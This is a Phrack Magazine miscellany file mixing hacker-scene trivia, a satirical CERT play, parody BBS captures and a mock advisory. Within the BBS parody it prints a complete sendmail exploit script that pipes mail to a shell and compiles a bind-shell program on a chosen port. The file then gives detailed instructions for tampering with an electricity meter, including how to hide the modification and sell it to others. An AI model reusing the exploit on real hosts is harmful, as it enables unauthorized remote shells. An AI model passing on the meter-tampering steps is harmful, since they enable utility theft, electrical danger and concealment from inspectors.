| ==Phrack Magazine== | |
| Volume Four, Issue Forty-Four, File 3 of 27 | |
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| PART I | |
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| PHRACK TRIVIA | |
| Last issue I tried something different. I tried to have a little | |
| trivia contest, giving away some prizes for the first to get all | |
| the answers. Well, I should have known that Phrack's readers | |
| are lazy. The amount of you who actually responded was pathetic. | |
| The winners are: dFx, Holistic, Damiano & Matt | |
| I had planned on 5 winners. Notice how many won. I won't even | |
| say how many these guys got right, because noone came close to | |
| 100%. Obviously I'm the only trivia buff in the underground. | |
| ------------------------------------------------------------------------------- | |
| PHRACK TRIVIA ANSWERS | |
| 1) CCIS | |
| Common Channel Interoffice Signalling | |
| 2) Stimpson J. Cat's Roommate is? | |
| Ren Hoek | |
| 3) Name the cracker. | |
| Bill Landreth | |
| 4) METAL AE password. | |
| KILL | |
| 5) Who invented the TeleTrial? | |
| King Blotto | |
| 6) Name Bloom County's hacker. | |
| Oliver Wendell Jones | |
| 7) What was the Whiz Kids' computer named? | |
| RALF | |
| 8) Western Union owned what long distance service? | |
| MetroPhone | |
| 9) What computer read both Apple ][ and IBM PC disks? | |
| The Franklin ACE | |
| 10) Who made the "Charlie" board? | |
| John Draper | |
| 11) How many credits for a CNE? | |
| 19 | |
| 12) What was in the trunk of the Chevy Malibu? | |
| Dead Aliens | |
| 13) Name three bands A. Jourgensen had a hand in. | |
| Ministry, Revolting Cocks, Skatenigs, Pailhead, Lard, (etc.) | |
| 14) SYSTEST Password: | |
| UETP | |
| 15) What computer makes the best Sim Stim decks? | |
| Ono-Sendai | |
| 16) What magazine brought the telephone underground to national | |
| attention in 1971? | |
| Esquire | |
| 17) What is the significance of 1100 + 1700 hz? | |
| KP | |
| 18) What magazine was raided for publishing black box plans? | |
| Ramparts | |
| 19) What BBS raid spawned the headlines "Whiz Kids Zap Satellites" ? | |
| The Private Sector | |
| 20) CLASS | |
| Custom Local Area Signalling Services | |
| 21) What computer responds "OSL, Please" ? | |
| NT SL-1 | |
| 22) RACF secures what OS? | |
| MVS | |
| 23) The first person to create a glider gun got what? | |
| $50.00 | |
| 24) QRM | |
| Interference from another station or man-made source | |
| 25) PSS | |
| Packet Switch Stream | |
| 26) What PSN was acquired by GTE Telenet? | |
| UniNet | |
| 27) 914-725-4060 | |
| OSUNY | |
| 28) April 15, 1943 | |
| Discovery of LSD | |
| 29) 8LGM | |
| 8-legged Grove Machine | |
| 30) WOPR | |
| War Operations Planned Response | |
| 31) What happened on March 1, 1990? | |
| Steve Jackson Games Raided By Secret Service | |
| 32) Port 79 | |
| Finger | |
| 33) Who starred in the namesake of Neil Gorsuch's UNIX security | |
| mailing list? | |
| Sean Connery | |
| 34) What Dutch scientist did research in RF? | |
| Van Eck | |
| 35) What was the author of GURPS Cyberpunk better known as? | |
| The Mentor | |
| 36) Who would "Piss on a spark plug if he thought it would do | |
| any good?" | |
| General Berringer | |
| 37) What thinktank did Nickie Halflinger escape from? | |
| Tarnover | |
| 38) NCSC | |
| National Computer Security Center | |
| 39) Who is Pengo's favorite astronomer? | |
| Cliff Stoll | |
| 40) What language was Mitnik's favorite OS written in? | |
| BLISS | |
| 41) Abdul Alhazred wrote what? | |
| The Necronomicon | |
| 42) The answer to it all is? | |
| 42 | |
| 43) Who is the father of computer security? | |
| Donn B. Parker | |
| 44) Who wrote VCL? | |
| Nowhere Man | |
| 45) What kind of computer did Cosmo have? | |
| A Cray | |
| 46) Hetfield, Ulrich, Hammet, Newstead | |
| Metallica | |
| 47) What company wrote the computer game "Hacker?" | |
| Activision | |
| 48) Who does Tim Foley work for? | |
| US Secret Service | |
| 49) Who played Agent Cooper? | |
| Kyle MacLachlan | |
| 50) Vines runs over what OS? | |
| AT&T Sys V. UNIX | |
| 51) Mr. Peabody built what? | |
| The Way-back Machine | |
| 52) Who makes SecurID? | |
| Security Dynamics | |
| 53) What's in a Mexican Flag? | |
| White Tequila, Green Creme de Menthe & Grenadine, layered | |
| 54) Who created Interzone? | |
| William S. Burroughs | |
| 55) JAMs (as led by John Dillinger) | |
| Justified Ancients of MU | |
| 56) Abbie Hoffman helped start what phreak magazine? | |
| YIPL | |
| 57) What was once "Reality Hackers?" | |
| Mondo 2000 | |
| 58) Gates and Allen "wrote" BASIC for what computer? | |
| The Altair | |
| 59) Tahoe is related to what OS? | |
| BSD Unix | |
| 60) CPE 1704 TKS is what? | |
| Launch Code from Wargames | |
| 61) Telemail's default was what? | |
| A | |
| 62) "Do Androids Dream of Electric Sheep" became what? | |
| Blade Runner | |
| 63) What broadcasts between roughly 40 and 50 mhz? | |
| Cordless Phones | |
| 64) Who created Tangram, Stratosphere, and Phaedra among others? | |
| Tangerine Dream | |
| 65) What was Flynn's most popular video game? | |
| Space Paranoids | |
| 66) Who lived in Goose Island, Oregon? | |
| Dr. Steven Falken | |
| 67) 516-935-2481 | |
| Plovernet | |
| 68) What is the security of ComSecMilNavPac? | |
| 9 | |
| 69) What has the "spiral death trap?" | |
| Qix | |
| 70) Who was the Midnight Skulker? | |
| Mark Bernay | |
| 71) TMRC | |
| Tech Model Railroad Club | |
| 72) Who wrote "Jawbreaker?" | |
| John Harris | |
| 73) 213-080-1050 | |
| Alliance Teleconferencing, Los Angeles | |
| 74) What is the Tetragrammaton represented as? | |
| YHVH (or IHVH) | |
| 75) Who is Francis J. Haynes? | |
| Frank (of the Phunny Phone Call fame) | |
| 76) Who ran into one of the Akira test subjects? | |
| Tetsuo Shima | |
| 77) What had "Munchies, Fireballs and Yllabian Space Guppies?" | |
| Stargate | |
| 78) PARC | |
| Palo Alto Research Center | |
| 79) Alex and his droogs hung out where? | |
| The Korova Milk Bar | |
| 80) Jane Chandler in DC's "Hacker Files" is based on who? | |
| Gail Thackeray | |
| 81) The Artificial Kid lives on what planet? | |
| Reverie | |
| 82) 208057040540 | |
| QSD | |
| 83) What are the two most common processors for cellular phones? | |
| 8051 & 68HC11 | |
| 84) Who came up with the term "ICE?" | |
| Tom Maddox | |
| 85) What group is hoped might help the "Angels" contact RMS? | |
| The Legion of Doom | |
| 86) Who is Akbar's friend? | |
| Jeff | |
| 87) What company's games was David Lightman after? | |
| Protovision | |
| 88) 26.0.0.0 | |
| NET-MILNET | |
| 89) Who was Mr. Slippery forced to locate? | |
| The Mailman | |
| 90) Who is "The Whistler?" | |
| Joe Engressia | |
| 91) What use would a 6.5536 crystal be? | |
| Making a red box | |
| 92) .--. .... .-. .- -.-. -.- | |
| PHRACK | |
| 93) The Dark Avenger likes what group? | |
| Iron Maiden | |
| 94) What book spawned the term "worm?" | |
| The Shockwave Rider | |
| 95) Michael in "Prime Risk" wanted money for what? | |
| Flying Lessons | |
| 96) Automan's programmer worked for who? | |
| The Police Department | |
| 97) What signal filled in keystrokes on TOPS-20? | |
| ESC | |
| 98) ITS | |
| Incompatible Time-sharing System | |
| 99) (a/c)+121 | |
| Inward Operator | |
| 100) What drug kept the scanners sane? | |
| Ephemerol | |
| Bonus 1 | |
| 3 pts Name three bodies of work by Andrew Blake? | |
| Night Trips | |
| Night Trips 2 | |
| Hidden Obsessions | |
| Secrets | |
| (etc.) | |
| Bonus 2 | |
| 3 pts Name three currently available titles with Norma Kuzma. | |
| Fast Food | |
| Not of This Earth | |
| Cry Baby | |
| Laser Moon | |
| (etc.) | |
| Bonus 3 | |
| 4 pts Why would I hate Angel Broadhurst? | |
| Because he was living with Christina Applegate. (Duh) | |
| ******************************************************************************* | |
| ** PHRACK MAGAZINE NEEDS THE FOLLOWING ** | |
| Any Storage Device Capable of Writing ISO-9660 Format + Software | |
| (IE: Personal ROM-Writer, Pinnacle Optical Drive, MicroBoard) | |
| A Flatbed 24-Bit Color Scanner | |
| SCSI Hard Drives | |
| 486 or Pentium Processors | |
| SGI Indy/Indigo/Crimson/Iris/Challenge II/Onyx (Any would do) | |
| Spectrum Analysis Equipment | |
| Oscilloscopes | |
| Horizontal & Vertical Sync Adjustment Equipment | |
| Miscellaneous Ham Radio Equipment | |
| Any donations will be generously rewarded with k-rad info and | |
| huge amounts of good karma. | |
| ** PHRACK MAGAZINE DOESN'T REALLY NEED BUT KINDA WOULD LIKE THE FOLLOWING ** | |
| The Drew Barrymore Home Video (The Motel One) | |
| The Christina Applegate "Home Video" (The Poker One) | |
| Xuxa's "Early" Films | |
| Howard Stern's "Banned by the FCC" CD | |
| Jennie Garth's Workout Tape | |
| The European Smut Mag with Alissa Milano in it. | |
| ******************************************************************************* | |
| [Something very humorous I found on the FireWalls List] | |
| A one-act play | |
| Dramatis Personae: | |
| Perry Metzger (PM): an AVP responsible for the firewall at a | |
| Fortune 100 company. | |
| Joe Cert (JC): A person at CERT supposed to be helping. | |
| [The scene opens to Perry on the phone with Joe Cert. Perry is at work | |
| and freaking out because he doesn't run Sun sendmail and doesn't know | |
| what to do. If he turns off mail, his users will kill him. He has no | |
| idea how many machines he has to fix or if he has a problem at all.] | |
| PM: Well, I have the problem that I don't normally run Sun sendmail, | |
| and I can't run it, so I need to know enough that I can figure out how | |
| to fix my security problem. | |
| JC: Well, we don't have a procedure to tell people anything beyond | |
| what we put in the advisory. | |
| PM: I run the gateway for a firm that trades hundreds of billions of | |
| dollars a day in the financial markets. We can't afford do get shut | |
| down. Isn't there any way you can tell me anything that can help me? | |
| JC: Well, we really don't have a procedure in place. | |
| PM: I see. Can I ask you some questions? | |
| JC: Sure. | |
| PM: So this problem, would it be fixed if I had the Prog mailer turned | |
| off on my machines? | |
| JC: Well, its a problem that will allow people to run programs on your | |
| machine. | |
| PM: Yes, but would turning off the Prog mailer fix it? | |
| JC: Well, the problem allows people to run programs on your machine. | |
| PM: I see. Will this problem only hurt machines that have direct TCP | |
| access to the internet, or are machines that can get mail indirectly | |
| also possibly affected? | |
| JC: The hole is exploited by sending mail to the machine. | |
| PM: Yes, but do you need SMTP access to the machine, or will just | |
| being able to send mail to it hurt you? | |
| JC: Well, the hole is exploited by sending mail to the machine. | |
| PM: look, the machine on my firewall can't be telneted to. Does that | |
| make me safe? | |
| JC: Well, the hole is exploited by sending mail to the machine. | |
| PM: Listen, I have THREE THOUSAND workstations in a dozen cities on | |
| three continents. Are you telling me that I have to tell all my people | |
| that they are working the weekend installing a new sendmail on every | |
| machine in the firm? I don't even know how to test to see if I've | |
| fixed the problem once I've done that! | |
| JC: Well, the whole is exploited by sending mail to the machine. | |
| PM: Can't you tell me any details? | |
| JC: We really don't have a procedure for that. | |
| PM: Do you know what the problem is? | |
| JC: I can reproduce it, yes. | |
| PM: Look, I work for a company with REAL MONEY on the line here. I can | |
| get you a letter from a managing director telling you that I'm legit. | |
| You can check who we are in any newspaper -- we're one of the largest | |
| investment banks in the world. Every day the Wall Street Journal lists | |
| the Lehman Brothers T-Bond Index on page C-1. You can check my | |
| criminal record -- hell, the SEC makes you get fingerprinted so many | |
| times around here that I've still got ink on my fingers from the last | |
| time. Can't you give me some help here? | |
| JC: We really don't have a procedure for doing that. I'm taking | |
| notes, though, and I'll tell my management of your concerns. | |
| [He continues in this vein, but eventually, our hero gives up, | |
| realizing that CERT is part of the problem, not the solution. All | |
| they've succeeded in doing is keeping him up at night. He can't fix | |
| his problem, since he doesn't know how. He has no idea if he has a | |
| problem. He can't check once he's done something to determine if he's | |
| fixed it. All he knows is that CERT has no procedure for telling him | |
| anything regardless of who he is, period.] | |
| PM: So what you are telling me is that if I want details I have to | |
| subscribe to 2600 Magazine? | |
| JC: We don't have a procedure for giving you more information, no. | |
| PM: I'm sure the crackers will be happy to hear that. They are likely | |
| telling each other at a nice high speed. | |
| ******************************************************************************* | |
| IF SECURITY TYPES WERE K-RAD | |
| PART II | |
| SecurNet BBS Captures | |
| (From the LODCOM BBS Archive Project) | |
| ------------------------------------------------------------------------------ | |
| Number :) 214 | |
| From :) Uncertain Future | |
| Subject :) Get a life | |
| Hey All, | |
| Everyone out there who keeps calling up the Hotline | |
| begging for BUGS can just get a life. | |
| If you have to ask, you don't deserve to know. | |
| UnCERTian Future | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 215 | |
| From :) Spaf Master | |
| Subject :) ... | |
| Rum0r haz 1t that a p13cE 0f sH1t hAqu3r | |
| Nam3d Sk0tt ChaZ1n iz 0n Th3 F1RST l1zt!*&@$ | |
| 3yE hAv3 Try3D 2 g3t h1m Rem0v3D ButT n0-1 | |
| 0N th3 l1sT w1lL d3w 1t!! | |
| Y Kan'T w3 d0 s0meth1ng aB0uT tHeze pr1ckz? | |
| 1 r3MeMb3r a dAy Wh3n 1t 0nLy t0oK a PhAx | |
| thR3at3n1nG 2 3nD mY sUpP0rT w0ulD g3t | |
| a CumSek Haqu3r lyK3 ChaZ1n R3m0v3D!@!# | |
| Sh1T! | |
| --spaf | |
| Forum Of OverLordS | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 216 | |
| From :) Zen | |
| Subject :) Who died and left you in charge? | |
| You suck Jeanie. | |
| Who said YOU got to be the master? | |
| Your group sucks too. You have obsolete info. | |
| You guys say "There is nothing you have that we can | |
| not possess?" Well, there is nothing you have that | |
| WE want to possess. | |
| I think I will begin shooting off my mouth at | |
| Usenix Security BOFs and in Risks and in | |
| mailing lists, then maybe I can be as ELEET as | |
| you. NOT! | |
| Zen | |
| Legion of Security Types | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 217 | |
| From :) Hackman | |
| Subject :) I Dream of Geneie | |
| Yo Yo Yo... | |
| I think someone wants to be the next Donn Parker. | |
| Similarities: | |
| 1) Has BIG mouth | |
| 2) Writes Worthless Books | |
| 3) Hoardes inpho from invisible enemy | |
| 4) Goes on and on about "Evil Crackers" | |
| You should start charging 5000+ dollar speaking fees | |
| and shave your head. THEN, maybe someone will | |
| hire your worthless self, and you can emerge | |
| from Academia into the REAL world. Nah...you are | |
| too LAME! | |
| HACKMAN | |
| Legion of Security Types | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 218 | |
| From :) American Eagle | |
| Subject :) hey. | |
| You two punks think you are so kool, don't you? | |
| I was developing security theory when you were | |
| in junior high. You need to get your asses | |
| kicked, and I'm the guy to do it. | |
| About my speaking fees...Youre jealous. See green often? | |
| You wish your k-rad companies (pffft) would pay you | |
| as well. BAH. | |
| AE | |
| /q | |
| . | |
| \s | |
| end/ | |
| stop | |
| , | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 219 | |
| From :) Captian VAX | |
| Subject :) New BBS | |
| Hello, | |
| I am putting up a new bbs to be a forum for a database | |
| on bugs and security problems. If you are interested, | |
| please send me email on here or on internet. | |
| Thx | |
| CV | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 220 | |
| From :) The BeanCounter | |
| Subject :) STUPH | |
| HEY...I AM NOT SURE BUT I THINK | |
| MY ACCOUNT AT DOCKMASTER HAS BEEN | |
| HACKED OUT. IF ANY1 KNOWS WHO | |
| DID IT LET ME KNOW. | |
| I AM REALLY PISSED! THATS WHAT | |
| HAPPENS WHEN PEOPLE GET SLOPPY AND | |
| THEY LET ON JUST ANYONE WHO CAN | |
| FILL OUT THE FORM! CAN WE LIE DOWN | |
| WITH DOGS AND EXPECT NOT TO GET UP | |
| WITH FLEAS? | |
| WHM | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 221 | |
| From :) Spaf Master | |
| Subject :) fUq U alL | |
| 33t sh1T u Pr1Kz!#!$@ | |
| 3yE m M0r3 3l33t thAn alL 0f u!!! | |
| U w1lL All F3el mY wRatH! | |
| Ey3 Hav3 ur InPh0!@$@ 1 w1Ll b3 kaLl1nG 3aCh | |
| 0f U v3Ry so()n. | |
| --spaf | |
| Forum Of OverLordS | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 222 | |
| From :) Venom | |
| Subject :) Fuck! | |
| Now I'm mad. That bastard Chasin posted the Sendmail Bug on | |
| The firewalls list! Now all the hackers will have it! | |
| I'm going to take him down. Anyone who wants to help, his | |
| site is crimelab.com. You can check the Forum's | |
| Codeline for further developments. | |
| Get your scripts ready! Let's hack the little prick! | |
| Venom | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 223 | |
| From :) American Eagle | |
| Subject :) Sendmail | |
| What is the sendmail bug? | |
| AE | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 224 | |
| From :) Uncertian Future | |
| Subject :) Sendmail | |
| The Sendmail bug is a bug that works using sendmail. | |
| This bug works on hosts using sendmail and can allow | |
| people to do things from remote through sendmail. | |
| I know the bug, but I'm not going to give it out. | |
| Forum Members can get it from the Database | |
| on CertNet. | |
| UnCERTian Future | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 225 | |
| From :) The BeanCounter | |
| Subject :) SENDMAIL | |
| ED: | |
| I DON'T HAVE ACCESS TO THE DATABASE | |
| ON CERTNET. | |
| COULD YOU SEND IT TO ME IN EMAIL? | |
| WHM | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 226 | |
| From :) Uncertian Future | |
| Subject :) Bill... | |
| Yes, you do. All Members of The Forum | |
| have access. I will call you and tell you | |
| how to access it. Remember, UNIX | |
| is case sensitive. If this is a problem, you | |
| will have to use another computer. | |
| UnCERTian Future | |
| Forum Of OverLordS | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 227 | |
| From :) Information Warrior | |
| Subject :) InterNuts | |
| I have been having a really dumb conversation on the | |
| net with a moron who wants to argue about HERF with ME! | |
| WITH ME! Can you believe it? I almost want to strangle the | |
| guy. Some college kid, but still... | |
| The new file is due out soon. I will place it in the | |
| upload section in .zip format. Someone will have to | |
| unzip it for Donn and Bill. I don't think they have | |
| figured that utility out yet. | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 228 | |
| From :) Hackman | |
| Subject :) Sendmail Bug. Dig it. | |
| You Forum people piss me off. Turn on your buffers everyone | |
| cuz here comes the bug. Fuck you if you don't like it. | |
| ------Cut Here-------- | |
| #!/bin/sh | |
| # Copyright, 1992, 1993 by Scott Chasin (chasin@crimelab.com) | |
| # | |
| # This material is copyrighted by Scott Chasin, 1992, 1993. The | |
| # usual standard disclaimer applies, especially the fact that the | |
| # author is not liable for any damages caused by direct or indirect | |
| # use of the information or functionality provided by this program. | |
| # | |
| # Description: | |
| # | |
| # Exploit NEW sendmail hole and bind a port so we can spawn a program. | |
| # Not for distribution under any circumstances | |
| # | |
| # Usage: smail <hostname> <target-user-name> <target-port> <shell command> | |
| # default: smail <localhost> <daemon> <7001> </bin/sh> | |
| port=$3 | |
| user=$2 | |
| cmd=$4 | |
| if [ -z "$2" ]; then | |
| user=daemon | |
| fi | |
| if [ -z "$3" ]; then | |
| port=7002 | |
| fi | |
| if [ -z "$4" ]; then | |
| cmd="/bin/csh -i" | |
| fi | |
| ( | |
| sleep 4 | |
| echo "helo" | |
| echo "mail from: |" | |
| echo "rcpt to: bounce" | |
| echo "data" | |
| echo "." | |
| sleep 3 | |
| echo "mail from: $user" | |
| echo "rcpt to: | sed '1,/^$/d' | sh" | |
| echo "data" | |
| echo "cat > /tmp/a.c <<EOF" | |
| cat << EOF | |
| #include <sys/types.h> | |
| #include <sys/signal.h> | |
| #include <sys/socket.h> | |
| #include <netinet/in.h> | |
| #include <netdb.h> | |
| reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac; | |
| int **av;{struct sockaddr_in mya;struct servent *sp | |
| ;fd_set muf;int myfd,new,x,maxfd=getdtablesize(); | |
| signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM, | |
| 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr, | |
| sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp")) | |
| ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port | |
| =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd, | |
| (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd, | |
| 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if | |
| (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto | |
| loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork() | |
| ==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x< | |
| NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2 | |
| (0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new); | |
| goto loop;} | |
| EOF | |
| echo "EOF" | |
| echo "cd /tmp" | |
| echo "/bin/cc /tmp/a.c" | |
| echo "/bin/rm a.c" | |
| echo "/tmp/a.out $port $cmd" | |
| echo "." | |
| echo "quit" | |
| ) | mconnect $1 | |
| --------------------------------------------------------------------- | |
| This Buffer Brought To You By: L.O.S.T | |
| Greets Going Out To: The Great Circle, Apple-Man, Casper The Ghost, | |
| Zen and the L.O.S.T Posse! | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 229 | |
| From :) Spaf Master | |
| Subject :) D1CK!!! | |
| Ey3 kAnt b3l1V3 u p0sT3d 1t! | |
| U w1lL PaY d3aRly 4 ur NaRq1nG th1z BUG! | |
| Ur dAyz r NumB3rd!@!# | |
| --spaf | |
| Forum Of OverLordS | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 230 | |
| From :) LOST Girl | |
| Subject :) Bugs | |
| Thanks for posting that. I was wondering if you | |
| I would ever get it. Nasa probably has it...they | |
| have every HOLE... <sigh> Why did I take this job? | |
| L.O.S.T Girl | |
| Number :) 231 | |
| From :) American Eagle | |
| Subject :) That post | |
| How do you use that bug? | |
| I tried typing it in,but got a lot of errors. | |
| Is it for some special operating system? Or do you have | |
| to type it in on a special port? | |
| American Eagle | |
| Forum Of OverLordS | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 232 | |
| From :) Zen | |
| Subject :) New Program | |
| The new version of COPS is available for Download. | |
| Zero Day Ware! Get it fast. I will u/l updates/ | |
| bug fixes later... | |
| Gotta love all them filepoints! | |
| Off to play Xtank | |
| Zen | |
| Legion Of Security Types | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| Number :) 234 | |
| From :) Spaf Master | |
| Subject :) !@!# | |
| Ur Pr0grA/\/\ 1z amUz1nG, But Un3l3eT | |
| Eye p0Ss3z 1 0F mUch gR3aTr aB1liTy thAt Th3 | |
| 4-m w1lL Us3. | |
| Ch3Ck th3 DatAbaS3 0n CERT-NET. | |
| D3aTh 2 LOST | |
| --spaf | |
| Forum Of OverLordS | |
| Number :) 235 | |
| From :) Sysop | |
| Subject :) WARNING! | |
| Someone has given out the NUP. | |
| Some cracker type has attempted to | |
| access the bbs as of last night. I will call | |
| UnCERTain Future to put out an advisory on this | |
| issue. Please do not give out the NUP to anyone. | |
| THIS IS A PRIVATE BBS! | |
| [A]uto reply [N] [R]e-read [Q]uit:N | |
| End of Messages | |
| [A]uto reply [N] [R]e-read [Q]uit:Q | |
| ******************************************************************************* | |
| ============================================================================= | |
| CA-93:16 CERT Advisory | |
| October 23, 1993 | |
| Hacker/Cracker Vulnerabilities | |
| ----------------------------------------------------------------------------- | |
| The CERT Coordination Center has learned of several vulnerabilities | |
| in the language used on the USENET system. This vulnerability affects | |
| all users running rn, tin or other USENET news readers as well as users | |
| holding discussions containing the words "hacker" or "cracker". | |
| Patches can be obtained from your local phrack archive as well as through | |
| anonymous FTP to they ftp.netsys.com (192.215.1.2) system. | |
| Information concerning specific patches is outlined below. Please note | |
| that phrack sometimes updates patch files. If you find that the checksum | |
| is different, please contact phrack. | |
| ----------------------------------------------------------------------------- | |
| I. Hack and Crack Vulnerabilities | |
| These vulnerabilities affect all systems running a USENET news- | |
| reader including rn and tin, as well as all conversations, papers | |
| and stories involving the words "Cracker" and/or "Hacker". | |
| ** This vulnerability is being actively exploited and we strongly | |
| recommend that sites take immediate and corrective action. ** | |
| A. Description | |
| A vulnerability exists in the words "Hacker" and "Cracker" such | |
| that users may become confused as to exactly who/what you are | |
| talking about when used in a sentence. | |
| B. Impact | |
| Unauthorized confusion to affected conversations may ensue. | |
| C. Solution | |
| We recommend that all affected sites take the following steps | |
| to secure their systems. | |
| 1. Obtain and install the appropriate patch following the | |
| instructions included with the patch. | |
| System Patch ID Filename Checksum | |
| ------ -------- --------------- --------- | |
| all 10288 10288.tar.Z 5551 212 | |
| The checksums shown above are from the BSD-based checksum. | |
| 2. If your conversation is found to have been compromised by | |
| the word "Hacker" or "Cracker", we recommend you flame | |
| all parties involved and immediately break up the discussion | |
| by talking about the "correct" meaning of the words. | |
| 3. Depending upon the sensitivity of the information contained | |
| in your conversation, you may wish to replace the existing | |
| conversation with one discussing (a) the NSA, (b) the BATF | |
| (c) The Kennedy Assasination, (d) why shadowing password | |
| schemes are helpful or hurtful or (e) which file editor is | |
| actually the best. | |
| --------------------------------------------------------------------------- | |
| The CERT Coordination Center wishes to thank the Rogue Agent, (Rogue Agent/ | |
| SoD!/TOS/KoX), the letter 'Q' and the number '55' for reporting these | |
| vulnerabilities and Phrack, Inc. for their response to these problems. | |
| --------------------------------------------------------------------------- | |
| If you believe that your system has been compromised, contact the CERT | |
| Coordination Center or your representative in FIRST (Forum of Incident | |
| Response and Security Teams). | |
| Internet E-mail: cert@cert.org | |
| Telephone: 412-268-7090 (24-hour hotline) | |
| CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), | |
| and are on call for emergencies during other hours. | |
| CERT Coordination Center | |
| Software Engineering Institute | |
| Carnegie Mellon University | |
| Pittsburgh, PA 15213-3890 | |
| Past advisories, information about FIRST representatives, and other | |
| information related to computer security are available for anonymous FTP | |
| from cert.org (192.88.209.5). | |
| ******************************************************************************* | |
| [** NOTE: The following file is presented for informational and | |
| entertainment purposes only. Phrack Magazine takes NO | |
| responsibility for anyone who attempts the actions | |
| described within. **] | |
| Power to the People | |
| A little theory to get you started: | |
| Watts=Current * Voltage | |
| A power meter consists of a voltage coil, a current coil, a small motor | |
| to drive the dials, and little else. Given the formula above, if we can | |
| somehow cut down the voltage that the meter 'sees', then we can reduce the | |
| number of watts that it measures. If we cut our voltage in 1/2, our watts | |
| also get cut in half. | |
| Fortunately, your meter doesn't read the voltage directly off of the | |
| lines into your house. Two small wires lead to the voltage coil within the | |
| meter. Simple modification to this circuit is all that is needed. Inserting | |
| a resistor in series with the voltage coil will cut the voltage that the | |
| meter sees, and therefore that wattage that it reads. | |
| Meters read Kilowatts per hour, and you pay so much for each kilowatt. | |
| Since the hours remain constant (unless your stuck in one of those nasty | |
| little dimensional time warps..and I really hate it when that happens), your | |
| bill is directly related to what resistor value you insert. Do this | |
| correctly, and carefully, you will save a bundle on the power you use. | |
| Say I cut my bill by $40 per month..$40 * 12 months = $480 saved with | |
| a original 'investment' of $5 that is a 96 fold return on your investment. | |
| This idea also might be used to provide a service to your trusted friends, | |
| $100 bux a mod or so..$$$ | |
| One last little caution before you begin, don't go messing around with | |
| the adjustment screws you will find, usually there are 2 of them with F & S | |
| marked near them. I had the foolish idea to mess with these, the result is | |
| when I am drawing very little power (a few watts) my meter will slowly run | |
| backwards. Next time I'm modifying it, I'll have to fix that. Mr. Meter | |
| Reader would really wonder what the heck was going on when he saw that. | |
| (Mr. Meter Reader will be thinking he's done far to many drugs on the | |
| weekend..or needs to be.) | |
| SUPPLIES NEEDED: | |
| (2) Power meters. You'll perform the mod on one, and use the other to | |
| have in while you're doing it. | |
| (1) Length of heat shrink tubing, a sufficient size to cover a half | |
| watt resistor. | |
| (Some) half-watt resistors, 10k-25k or so. (A 10K resistor will cut | |
| your bill in half...15K quit a bit more (the amount saved, is | |
| NOT linear to the resistor value..more like a logarithmic scale) | |
| (some) Good old 100% silicon caulk | |
| Soldering iron, solder, lots of nerve. | |
| To begin the Mod: | |
| Take the little 'lock' they use (little plastic deal), and chuck it. Wait | |
| about 2 months for the reader to get used to the fact it's gone..the idea | |
| is that if they think you've tampered with it cause the lock is gone..they | |
| will check and find no tampering then..(least that's the idea) | |
| If you happen to know someone who works for the power company, and can | |
| get your hands on some of those locks, get a few new ones, and let them 'age' | |
| outside for a few months (to get that used look), then replace yours with it | |
| when done. And if anyone happens to know of a source for these locks, I | |
| would appreciate knowing. | |
| You'll need to 'find/get/steal/snag/etc' another meter to put in while your | |
| fixing your..(kinda hard to see/solder with no power) ;) | |
| Lift the now unlocked cover and pull meter out..(simply pulls out of the | |
| socket real easy) put other meter in for a while..(do at night would be a good | |
| idea..neighbors would wonder what the heck you were doing eh?) | |
| On the side of the meter, there will be a little (probably copper), pin, | |
| that is designed to break when you unbend the end of it..(security device). | |
| Be real careful and try not to break it when you bend it back (if it breaks, | |
| save the piece that broke off) | |
| Pull that out, and then turn the ring that holds the unit together..it | |
| should then come apart real easy. | |
| Between the assembly where the wheel is and the base plate, look in the gap, | |
| there should be a black deal that looks like a transformer attached to the core | |
| of the meter and 2 black wires leading from the prongs of the meter base to | |
| the smaller coil. This is the voltage coil. Here comes the fun part! | |
| Cut one of the wires, being sure you cut where you can hide the damage | |
| later. Solder in 10k or 15k resistor with the leads of resistor cut off right | |
| at resistor body, and also put the heat shrink tubing on the resistor, and | |
| shrink it..(with heat preferably) ;) | |
| Take silicone rubber (the 100% pure stuff..) and glue the resistor and the | |
| shrunk tubing over it underneath the top assembly. Make it appear that the | |
| wires simply curve up that way and nothing more. Put ring back on. Notice | |
| that you must put the meter together exactly the way it came apart. | |
| Example: on mine, i noticed that there was dirt on the bottom from rain | |
| splashing mud onto the meter. It would look kinda obvious if the mud | |
| suddenly appeared on top of the meter. | |
| Take the little pin that you removed (copper thing) and replace it in | |
| the hole and through the ring as before. Bend the end back up like before | |
| also if it broke, bend what is left anyways, there should be plenty left | |
